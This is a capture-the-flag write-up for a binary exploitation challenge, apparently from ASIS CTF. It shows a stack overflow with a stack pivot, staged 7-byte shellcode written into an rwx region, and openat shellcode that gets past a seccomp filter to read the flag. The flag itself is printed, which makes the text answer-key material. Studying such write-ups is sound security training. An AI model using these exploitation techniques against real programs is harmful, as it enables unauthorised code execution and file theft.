The program offers a basic interface for managing post. E.g. option 3 can be used to set the blog owner. Any operation will result in an exit after completion.
1. Write a blog post
2. Delete a blog post
3. Show the blog owner
4. Exit
A first quick analysis reveals some interesting facts. First of all, a memory section with rwx privileges is allocated, this could be interesting for storing shellcode. Second, thr program uses seccomp, therefore some system calls might be disallowed.
[...]
mmap(0x656ca000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
[...]
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) = 0
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len=11, filter=0x7ffefe130eb0}) = 0
[...]
By reverse engineering, we found a hidden option with the id 31337. This method will give us its own address and therefore can be used to compute the binary base.
int backdoor() {
puts(0x15d8);
printf("I will give you a gift %p\n", backdoor);
In addition, a 16-byte stack-based buffer overflow is given, what allows us to control rip and rbp. Sadly this is not enough to store a complete ROP chain.
sub rsp, 0x10
[...]
lea rax, qword [rbp+8]
mov edx, 0x18 ; argument "nbyte" for method j_read
mov rsi, rax ; argument "buf" for method j_read
mov edi, 0x0 ; argument "fildes" for method j_read
mov eax, 0x0
call j_read
Additionally, a check is performed, if rip and rbp are pointing to the first 0xfff bytes of the binary.
This limit our usable targets, as we can not jump to any function using syscalls.
Even though, we can jump into the menu handler and call delete_post
, write_post
methods, so we can reuse them.
An interesting function to use is the show_owner
as it can be used to change the blog owner (7 Bytes), which is stored in the rwx section.
A pointer to this section is located in the .bss segment.
Therefore we approach the following stack layout for our buffer overflow and stack pivot:
.stack
+-----------------+
| new rbp |
+-----------------+
| call_show_owner |
+-----------------+ <- rbp
| ... |
.bss
+-----------------+
| rwx_ptr |
+-----------------+
| |
+-----------------+ <- new rbp
The strategy would be:
call_show_owner = blog_base_ptr + 0x10c2
rwx_ptr = blog_base_ptr + 0x202048
payload = "AAAAAAAA"
payload += pwn.p64(rwx_ptr-8) #rbp
payload += pwn.p64(call_show_owner) #rip
r.send(payload)
As the maximum shellcode length is limited to 7 bytes, we need a way to read more shellcode.
As rax is already set to 0 (sys_read
) we can try to directly write to the rwx memory section
The rdi register defines the maximum number of bytes to be read and is a random pointer, therefore this register needs no changes.
We only need to point rsi to the rwx section.
As rsp is already pointing below the rwx pointer in the .bss section we can use the following shellcode, what compiles to exactly 7 bytes.
shellcode = "sub rsp,8; pop rsi; syscall"
shellcode = pwn.asm(shellcode)
r.send(shellcode)
We send our shellcode with 7 bytes of padding, so it will be executed directly after the read
system call returns.
Even though we can execute arbitrary code, we are not finished yet as seccomp is used to blacklist some system calls.
seccomp-tools
(https://github.com/david942j/seccomp-tools) can be used to disassemble these rules and show them in a human-readable format.
seccomp-tools dump ./myblog
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0010
0005: 0x15 0x04 0x00 0x0000003b if (A == execve) goto 0010
0006: 0x15 0x03 0x00 0x00000039 if (A == fork) goto 0010
0007: 0x15 0x02 0x00 0x0000003a if (A == vfork) goto 0010
0008: 0x15 0x01 0x00 0x00000038 if (A == clone) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
Execve is blocked, therefore, we cannot execute execve("/bin/sh", NULL, NULL)
directly.
Open is blocked, therefore we should not be able to open files and read the Flag.
Even though the openat()
syscall is not blocked, what allows us to open a file relative to a directory.
This syscall requires the following arguments:
Register | Description |
---|---|
rdi | Directory file Descriptor (will be ignored for an absolute path) |
rsi | Filename |
rdx | Flags |
r10 | Mode |
Therefore we can use the following shellcode to open a file, read 1024 bytes and write it to stdout.
jmp str;
ret:
pop rsi;
xor rdi, rdi;
xor rdx, rdx;
xor r10, r10;
mov eax, 257;
syscall
mov rdi, rax;
mov rsi, rsp;
mov rdx, 1024;
mov eax, 0;
syscall;
mov rdi, 1;
mov eax, 1;
syscall;
mov eax, 60;
syscall
str:
call ret
.string "the filename goes here"
And finally recover the flag: ASIS{526eb5559eea12d1e965fe497b4abb0a308f2086}